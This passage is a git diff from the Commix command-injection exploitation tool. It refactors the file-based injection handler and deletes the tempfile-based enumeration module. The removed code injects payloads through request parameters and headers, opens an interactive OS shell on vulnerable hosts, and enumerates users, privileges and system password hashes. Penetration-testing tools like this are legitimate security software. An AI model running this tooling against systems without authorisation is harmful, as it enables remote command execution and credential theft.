str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except (KeyboardInterrupt, SystemExit): - # Delete previous shell (text) files (output) - if 'vuln_parameter' in locals(): - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except _urllib.error.URLError as e: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) - err_msg = str(e).replace(": "," (") + ")." - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - # Provide custom server's root directory. - if not menu.options.web_root: - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - continue - except: - raise - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - settings.FILE_BASED_STATE = True - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - # Check for any enumeration options. - fb_enumeration.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check for any system file access options. - fb_file_access.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check if defined single cmd. - if menu.options.os_cmd: - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "exit": - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - time.sleep(timesec) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Command execution results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell or shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except KeyboardInterrupt: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - if fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - return False + return fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 318dc40e73..4d84b58825 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -12,333 +12,29 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import json -import string -import random -import base64 -from src.utils import menu -from src.utils import settings -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_payloads -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Encoding spaces. - payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None +from src.core.injections.controller import injector - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - return response, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) +The "file-based" technique on semiblind OS command injection. """ -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. """ -def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # Execute shell commands on vulnerable host. - if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - if settings.COMMENT in payload_msg: - payload = payload.split(settings.COMMENT)[0].strip() - payload_msg = payload_msg.split(settings.COMMENT)[0].strip() - debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - else: - # Check if defined method is POST. - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - return response - - # Do the injection check - response = check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ Find the URL directory. """ -def injection_output(url, OUTPUT_TEXTFILE, timesec): - - def custom_web_root(url, OUTPUT_TEXTFILE): - path = _urllib.parse.urlparse(url).path - if path.endswith('/'): - # Contract again the url. - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE - else: - try: - path_parts = [non_empty for non_empty in path.split('/') if non_empty] - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and settings.OUTPUT_FILE_EXT in output: - try: - output = output.split("?")[0] - except: - pass - except IndexError: - output = url + "/" + OUTPUT_TEXTFILE - settings.DEFINED_WEBROOT = output - return output - - if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: - if menu.options.web_root: - scheme = _urllib.parse.urlparse(url).scheme - hostname = _urllib.parse.urlparse(url).hostname - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE - if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): - if settings.MULTI_TARGETS: - settings.RECHECK_FILE_FOR_EXTRACTION = True - while True: - message = "Do you want to use URL '" + output - message += "' for command execution output? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.DEFINED_WEBROOT = output - break - elif procced_option in settings.CHOICE_NO: - message = "Enter URL to use " - message += "for command execution output > " - message = common.read_input(message, default=output, check_batch=True) - output = settings.DEFINED_WEBROOT = message - info_msg = "Using '" + output - info_msg += "' for command execution output." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if not settings.DEFINED_WEBROOT: - pass - else: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - else: - output = custom_web_root(url, OUTPUT_TEXTFILE) - else: - output = settings.DEFINED_WEBROOT - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking if the file '" + output + "' is accessible." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - return output +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) """ Command execution results. """ -def injection_results(url, OUTPUT_TEXTFILE, timesec): - #Find the directory. - output = injection_output(url, OUTPUT_TEXTFILE, timesec) - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - - if type(response) is bool and response != True or response is None: - shell = "" - else: - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py deleted file mode 100755 index 9ff7b69b93..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ /dev/null @@ -1,299 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.utils import logs -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" -The "tempfile-based" injection technique on Semiblind OS Command Injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Command execution results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - checks.print_ps_version(ps_version, filename, _) - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - settings.print_data_to_stdout("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - _ = True - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE - # URL encode "+ " if POST request and python alternative shell. - if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - cmd = cmd.replace("+","%2B") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.SYS_PASSES - #settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check_how_long = 0 - checks.print_single_os_cmd(cmd, output, filename) - return check_how_long, output - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - def reset(): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - - reset() - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().ps_version_msg() - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.hostname: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.current_user: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().current_user_msg() - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.is_root or menu.options.is_admin: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.sys_info: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.users: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.print_enumenation().print_users_msg() - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - - if menu.options.passwords: - if settings.ENUMERATION_DONE: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - reset() - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, 